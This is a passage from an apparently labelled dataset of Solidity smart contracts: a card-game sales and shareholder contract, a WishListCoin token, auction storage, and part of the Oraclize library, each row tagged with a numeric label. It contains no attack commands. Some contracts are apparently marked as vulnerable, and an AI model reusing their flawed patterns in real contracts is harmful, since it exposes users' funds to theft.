mapping (address => uint256) public tokenCostPerPack;
mapping (uint256 => uint256) public mythexCostPerUpgradeLevel;
mapping (uint256 => uint256) public cardDamageUpgradeLevel;
mapping (uint256 => uint256) public cardShieldUpgradeLevel;
uint256 public maxCardUpgradeLevel = 30;
address public cardTokenAddress;
address public xpTokenAddress;
address public mythexTokenAddress;
address public gameHostAddress;
uint256 public totalShares = 0;
uint256 public totalReleased = 0;
mapping(address => uint256) public shares;
mapping(address => uint256) public released;
event CardsPurchased(uint256 editionNumber, uint256 packSize, address buyer);
event CardUpgraded(uint256 cardId, uint256 addedDamage, uint256 addedShield);
modifier onlyHosts() {
require(
msg.sender == owner ||
msg.sender == manager ||
msg.sender == gameHostAddress
);
_;
}
function Mythereum() public {
editions[0] = Edition({
name: "Genesis",
sales: 4139,
maxSales: 5000,
packSize: 7,
packPrice: 177000000000000000,
packPriceIncrease: 1 finney
});
editions[1] = Edition({
name: "Survivor",
sales: 20,
maxSales: 1000000,
packSize: 10,
packPrice: 0,
packPriceIncrease: 0
});
isVIP[msg.sender] = true;
}
function () public payable {
revert();
}
function buyPack(
uint8 _editionNumber
) public payable {
uint256 packPrice = isVIP[msg.sender] ? 0 : editions[_editionNumber].packPrice;
require(msg.value.isAtLeast(packPrice));
if (msg.value.isGreaterThan(packPrice)) {
msg.sender.transfer(msg.value.minus(packPrice));
}
_deliverPack(msg.sender, _editionNumber);
}
function buyPackWithERC20Tokens(
uint8 _editionNumber,
address _tokenAddress
) public {
require(isTokenAccepted[_tokenAddress]);
_processERC20TokenPackPurchase(_editionNumber, _tokenAddress, msg.sender);
}
function upgradeCardDamage(uint256 _cardId) public {
require(cardDamageUpgradeLevel[_cardId].isLessThan(maxCardUpgradeLevel));
uint256 costOfUpgrade = 32 * (cardDamageUpgradeLevel[_cardId] + 1);
MythereumERC20Token mythexContract = MythereumERC20Token(mythexTokenAddress);
require(mythexContract.burn(msg.sender, costOfUpgrade));
cardDamageUpgradeLevel[_cardId]++;
_improveCard(_cardId, 1, 0);
}
function upgradeCardShield(uint256 _cardId) public {
require(cardShieldUpgradeLevel[_cardId].isLessThan(maxCardUpgradeLevel));
uint256 costOfUpgrade = 32 * (cardShieldUpgradeLevel[_cardId] + 1);
MythereumERC20Token mythexContract = MythereumERC20Token(mythexTokenAddress);
require(mythexContract.burn(msg.sender, costOfUpgrade));
cardShieldUpgradeLevel[_cardId]++;
_improveCard(_cardId, 0, 1);
}
function improveCard(
uint256 _cardId,
uint256 _addedDamage,
uint256 _addedShield
) public onlyManagement {
require(cardShieldUpgradeLevel[_cardId].isLessThan(maxCardUpgradeLevel));
_improveCard(_cardId, _addedDamage, _addedShield);
}
function _improveCard(
uint256 _cardId,
uint256 _addedDamage,
uint256 _addedShield
) internal {
MythereumCardToken cardToken = MythereumCardToken(cardTokenAddress);
require(cardToken.improveCard(_cardId, _addedDamage, _addedShield));
CardUpgraded(_cardId, _addedDamage, _addedShield);
}
function receiveApproval(
address _sender,
uint256 _value,
address _tokenContract,
bytes _extraData
) public {
require(isTokenAccepted[_tokenContract]);
uint8 editionNumber = 0;
if (_extraData.length != 0) editionNumber = uint8(_extraData[0]);
_processERC20TokenPackPurchase(editionNumber, _tokenContract, _sender);
}
function _processERC20TokenPackPurchase(
uint8 _editionNumber,
address _tokenAddress,
address _buyer
) internal {
require(isTokenAccepted[_tokenAddress]);
ERC20 tokenContract = ERC20(_tokenAddress);
uint256 costPerPack = tokenCostPerPack[_tokenAddress];
uint256 ourBalanceBefore = tokenContract.balanceOf(address(this));
tokenContract.transferFrom(_buyer, address(this), costPerPack);
uint256 ourBalanceAfter = tokenContract.balanceOf(address(this));
require(ourBalanceAfter.isAtLeast(ourBalanceBefore.plus(costPerPack)));
_deliverPack(_buyer, _editionNumber);
}
function burnMythexTokens(address _burner, uint256 _amount) public onlyHosts {
require(_burner != address(0));
MythereumERC20Token(mythexTokenAddress).burn(_burner, _amount);
}
function burnXPTokens(address _burner, uint256 _amount) public onlyHosts {
require(_burner != address(0));
MythereumERC20Token(xpTokenAddress).burn(_burner, _amount);
}
function grantMythexTokens(address _recipient, uint256 _amount) public onlyHosts {
require(_recipient != address(0));
MythereumERC20Token(mythexTokenAddress).mint(_recipient, _amount);
}
function grantXPTokens(address _recipient, uint256 _amount) public onlyHosts {
require(_recipient != address(0));
MythereumERC20Token(xpTokenAddress).mint(_recipient, _amount);
}
function grantPromoPack(
address _recipient,
uint8 _editionNumber
) public onlyManagement {
_deliverPack(_recipient, _editionNumber);
}
function setTokenAcceptanceRate(
address _token,
uint256 _costPerPack
) public onlyManagement {
if (_costPerPack > 0) {
isTokenAccepted[_token] = true;
tokenCostPerPack[_token] = _costPerPack;
} else {
isTokenAccepted[_token] = false;
tokenCostPerPack[_token] = 0;
}
}
function transferERC20Tokens(
address _token,
address _recipient,
uint256 _amount
) public onlyManagement {
require(ERC20(_token).transfer(_recipient, _amount));
}
function transferAbnormalERC20Tokens(
address _token,
address _recipient,
uint256 _amount
) public onlyManagement {
AbnormalERC20(_token).transfer(_recipient, _amount);
}
function addVIP(address _vip) public onlyManagement {
isVIP[_vip] = true;
}
function removeVIP(address _vip) public onlyManagement {
isVIP[_vip] = false;
}
function setEditionName(
uint8 _editionNumber,
string _name
) public onlyManagement {
editions[_editionNumber].name = _name;
}
function setEditionSales(
uint8 _editionNumber,
uint256 _numSales
) public onlyManagement {
editions[_editionNumber].sales = _numSales;
}
function setEditionMaxSales(
uint8 _editionNumber,
uint256 _maxSales
) public onlyManagement {
editions[_editionNumber].maxSales = _maxSales;
}
function setEditionPackPrice(
uint8 _editionNumber,
uint256 _newPrice
) public onlyManagement {
editions[_editionNumber].packPrice = _newPrice;
}
function setEditionPackPriceIncrease(
uint8 _editionNumber,
uint256 _increase
) public onlyManagement {
editions[_editionNumber].packPriceIncrease = _increase;
}
function setEditionPackSize(
uint8 _editionNumber,
uint8 _newSize
) public onlyManagement {
editions[_editionNumber].packSize = _newSize;
}
function setCardUpgradeLevels(
uint256 _cardId,
uint256 _damageUpgradeLevel,
uint256 _shieldUpgradeLevel
) public onlyManagement {
cardDamageUpgradeLevel[_cardId] = _damageUpgradeLevel;
cardShieldUpgradeLevel[_cardId] = _shieldUpgradeLevel;
}
function setCardTokenAddress(address _addr) public onlyManagement {
require(_addr != address(0));
cardTokenAddress = _addr;
}
function setXPTokenAddress(address _addr) public onlyManagement {
require(_addr != address(0));
xpTokenAddress = _addr;
}
function setMythexTokenAddress(address _addr) public onlyManagement {
require(_addr != address(0));
mythexTokenAddress = _addr;
}
function setGameHostAddress(address _addr) public onlyManagement {
require(_addr != address(0));
gameHostAddress = _addr;
}
function claim() public {
_claim(msg.sender);
}
function deposit() public payable {
}
function addShareholder(address _payee, uint256 _shares) public onlyOwner {
require(_payee != address(0));
require(_shares.isAtLeast(1));
require(shares[_payee] == 0);
shares[_payee] = _shares;
totalShares = totalShares.plus(_shares);
}
function removeShareholder(address _payee) public onlyOwner {
require(shares[_payee] != 0);
_claim(_payee);
_forfeitShares(_payee, shares[_payee]);
}
function grantAdditionalShares(
address _payee,
uint256 _shares
) public onlyOwner {
require(shares[_payee] != 0);
require(_shares.isAtLeast(1));
shares[_payee] = shares[_payee].plus(_shares);
totalShares = totalShares.plus(_shares);
}
function forfeitShares(uint256 _numShares) public {
_forfeitShares(msg.sender, _numShares);
}
function transferShares(address _to, uint256 _numShares) public {
require(_numShares.isAtLeast(1));
require(shares[msg.sender].isAtLeast(_numShares));
shares[msg.sender] = shares[msg.sender].minus(_numShares);
shares[_to] = shares[_to].plus(_numShares);
}
function _claim(address payee) internal {
require(shares[payee].isAtLeast(1));
uint256 totalReceived = address(this).balance.plus(totalReleased);
uint256 payment = totalReceived.times(shares[payee]).dividedBy(totalShares).minus(released[payee]);
require(payment != 0);
require(address(this).balance.isAtLeast(payment));
released[payee] = released[payee].plus(payment);
totalReleased = totalReleased.plus(payment);
payee.transfer(payment);
}
function _forfeitShares(address payee, uint256 numShares) internal {
require(shares[payee].isAtLeast(numShares));
shares[payee] = shares[payee].minus(numShares);
totalShares = totalShares.minus(numShares);
}
function _deliverPack(address recipient, uint8 editionNumber) internal {
Edition storage edition = editions[editionNumber];
require(edition.sales.isLessThan(edition.maxSales.plus(edition.packSize)));
edition.sales = edition.sales.plus(edition.packSize);
edition.packPrice = edition.packPrice.plus(edition.packPriceIncrease);
MythereumCardToken cardToken = MythereumCardToken(cardTokenAddress);
cardToken.mintRandomCards(recipient, editionNumber, edition.packSize);
CardsPurchased(editionNumber, edition.packSize, recipient);
}
} | 1 | 4,662 |
pragma solidity ^0.5.5;
contract DreamCarToken {
function getForWLC(address _owner) public {}
}
contract WishListToken {
string internal constant tokenName = 'WishListCoin';
string internal constant tokenSymbol = 'WLC';
uint256 public constant decimals = 0;
uint256 public totalTokenSupply;
address payable public CEO;
mapping (address => uint256[]) internal tokensOwnedBy;
mapping (address => uint256[]) internal tokensExchangedBy;
uint256 public tokenPrice;
address[] public priceAdmins;
uint256 internal nextTokenId = 1;
DreamCarToken public dreamCarCoinExchanger;
function totalSupply() public view returns (uint256 total) {
return totalTokenSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return tokensOwnedBy[_owner].length;
}
function tokensOfOwner(address _owner) external view returns (uint256[] memory tokenIds) {
return tokensOwnedBy[_owner];
}
function tokenIsOwnedBy(uint256 _tokenId, address _owner) external view returns (bool isTokenOwner) {
for (uint256 i = 0; i < balanceOf(_owner); i++) {
if (tokensOwnedBy[_owner][i] == _tokenId) {
return true;
}
}
return false;
}
function transfer(address _to, uint256 _tokenId) external {
require(_to != address(0));
uint256 tokenIndex = getTokenIndex(msg.sender, _tokenId);
tokensOwnedBy[msg.sender][tokenIndex] = tokensOwnedBy[msg.sender][tokensOwnedBy[msg.sender].length - 1];
tokensOwnedBy[msg.sender].pop();
tokensOwnedBy[_to].push(_tokenId);
emit Transfer(msg.sender, _to, _tokenId);
}
function name() external pure returns (string memory _name) {
return tokenName;
}
function symbol() external pure returns (string memory _symbol) {
return tokenSymbol;
}
event Transfer(address from, address to, uint256 tokenId);
event Buy(address indexed from, uint256 amount, uint256 fromTokenId, uint256 toTokenId, uint256 timestamp);
event Exchange(address indexed from, uint256 tokenId);
event ExchangeForDCC(address indexed from, uint256 tokenId);
modifier onlyCEO {
require(msg.sender == CEO, 'You need to be the CEO to do that!');
_;
}
constructor (address payable _ceo) public {
CEO = _ceo;
totalTokenSupply = 1000000;
tokenPrice = 22250000000000000;
}
function exchangedBy(address _owner) external view returns (uint256[] memory tokenIds) {
return tokensExchangedBy[_owner];
}
function lastTokenId() public view returns (uint256 tokenId) {
return nextTokenId - 1;
}
function setTokenPriceInWEI(uint256 _newPrice) public {
bool transactionAllowed = false;
if (msg.sender == CEO) {
transactionAllowed = true;
} else {
for (uint256 i = 0; i < priceAdmins.length; i++) {
if (msg.sender == priceAdmins[i]) {
transactionAllowed = true;
break;
}
}
}
require((transactionAllowed == true), 'You cannot do that!');
tokenPrice = _newPrice;
}
function addPriceAdmin(address _newPriceAdmin) onlyCEO public {
priceAdmins.push(_newPriceAdmin);
}
function removePriceAdmin(address _existingPriceAdmin) onlyCEO public {
for (uint256 i = 0; i < priceAdmins.length; i++) {
if (_existingPriceAdmin == priceAdmins[i]) {
delete priceAdmins[i];
break;
}
}
}
function getTokenIndex(address _owner, uint256 _tokenId) internal view returns (uint256 _index) {
for (uint256 i = 0; i < balanceOf(_owner); i++) {
if (tokensOwnedBy[_owner][i] == _tokenId) {
return i;
}
}
require(false, 'You do not own this token!');
}
function _addTokensToAddress(address _to, uint256 _amount) internal {
for (uint256 i = 0; i < _amount; i++) {
tokensOwnedBy[_to].push(nextTokenId + i);
}
nextTokenId += _amount;
}
function scalePurchaseTokenAmountToMatchRemainingTokens(uint256 _amount) internal view returns (uint256 _exactAmount) {
if (nextTokenId + _amount - 1 > totalTokenSupply) {
_amount = totalTokenSupply - nextTokenId + 1;
}
return _amount;
}
function buy() payable public {
require(msg.value >= tokenPrice, "You did't send enough ETH");
uint256 amount = scalePurchaseTokenAmountToMatchRemainingTokens(msg.value / tokenPrice);
require(amount > 0, "Not enough tokens are available for purchase!");
_addTokensToAddress(msg.sender, amount);
emit Buy(msg.sender, amount, nextTokenId - amount, nextTokenId - 1, now);
CEO.transfer((amount * tokenPrice));
msg.sender.transfer(msg.value - (amount * tokenPrice));
}
function exchangeToken(address _owner, uint256 _tokenId) internal {
uint256 tokenIndex = getTokenIndex(_owner, _tokenId);
tokensOwnedBy[msg.sender][tokenIndex] = tokensOwnedBy[msg.sender][tokensOwnedBy[msg.sender].length - 1];
tokensOwnedBy[msg.sender].pop();
tokensExchangedBy[_owner].push(_tokenId);
}
function exchange(uint256 _tokenId) public {
exchangeToken(msg.sender, _tokenId);
emit Exchange(msg.sender, _tokenId);
}
function mint(uint256 _amount) onlyCEO public {
require (_amount > 0, 'Amount must be bigger than 0!');
totalTokenSupply += _amount;
}
function setDreamCarCoinExchanger(address _address) public onlyCEO {
require (_address != address(0));
dreamCarCoinExchanger = DreamCarToken(_address);
}
function removeDreamCarCoinExchanger() public onlyCEO {
dreamCarCoinExchanger = DreamCarToken(address(0));
}
function exchangeForDCC(uint256 _tokenId) public {
require (address(dreamCarCoinExchanger) != address(0));
dreamCarCoinExchanger.getForWLC(msg.sender);
exchangeToken(msg.sender, _tokenId);
emit ExchangeForDCC(msg.sender, _tokenId);
}
} | 1 | 3,803 |
pragma solidity ^0.4.21;
contract ERC721 {
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) external view returns (address owner);
function approve(address _to, uint256 _tokenId) external;
function transfer(address _to, uint256 _tokenId) external;
function transferFrom(address _from, address _to, uint256 _tokenId) external;
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address previousOwner, address newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract StorageBase is Ownable {
function withdrawBalance() external onlyOwner returns (bool) {
bool res = msg.sender.send(address(this).balance);
return res;
}
}
contract ClockAuctionStorage is StorageBase {
struct Auction {
address seller;
uint128 startingPrice;
uint128 endingPrice;
uint64 duration;
uint64 startedAt;
}
mapping (uint256 => Auction) tokenIdToAuction;
function addAuction(
uint256 _tokenId,
address _seller,
uint128 _startingPrice,
uint128 _endingPrice,
uint64 _duration,
uint64 _startedAt
)
external
onlyOwner
{
tokenIdToAuction[_tokenId] = Auction(
_seller,
_startingPrice,
_endingPrice,
_duration,
_startedAt
);
}
function removeAuction(uint256 _tokenId) public onlyOwner {
delete tokenIdToAuction[_tokenId];
}
function getAuction(uint256 _tokenId)
external
view
returns (
address seller,
uint128 startingPrice,
uint128 endingPrice,
uint64 duration,
uint64 startedAt
)
{
Auction storage auction = tokenIdToAuction[_tokenId];
return (
auction.seller,
auction.startingPrice,
auction.endingPrice,
auction.duration,
auction.startedAt
);
}
function isOnAuction(uint256 _tokenId) external view returns (bool) {
return (tokenIdToAuction[_tokenId].startedAt > 0);
}
function getSeller(uint256 _tokenId) external view returns (address) {
return tokenIdToAuction[_tokenId].seller;
}
function transfer(ERC721 _nonFungibleContract, address _receiver, uint256 _tokenId) external onlyOwner {
_nonFungibleContract.transfer(_receiver, _tokenId);
}
}
contract SiringClockAuctionStorage is ClockAuctionStorage {
bool public isSiringClockAuctionStorage = true;
} | 0 | 2,484 |
pragma solidity ^0.4.18;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint capacity) internal pure {
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
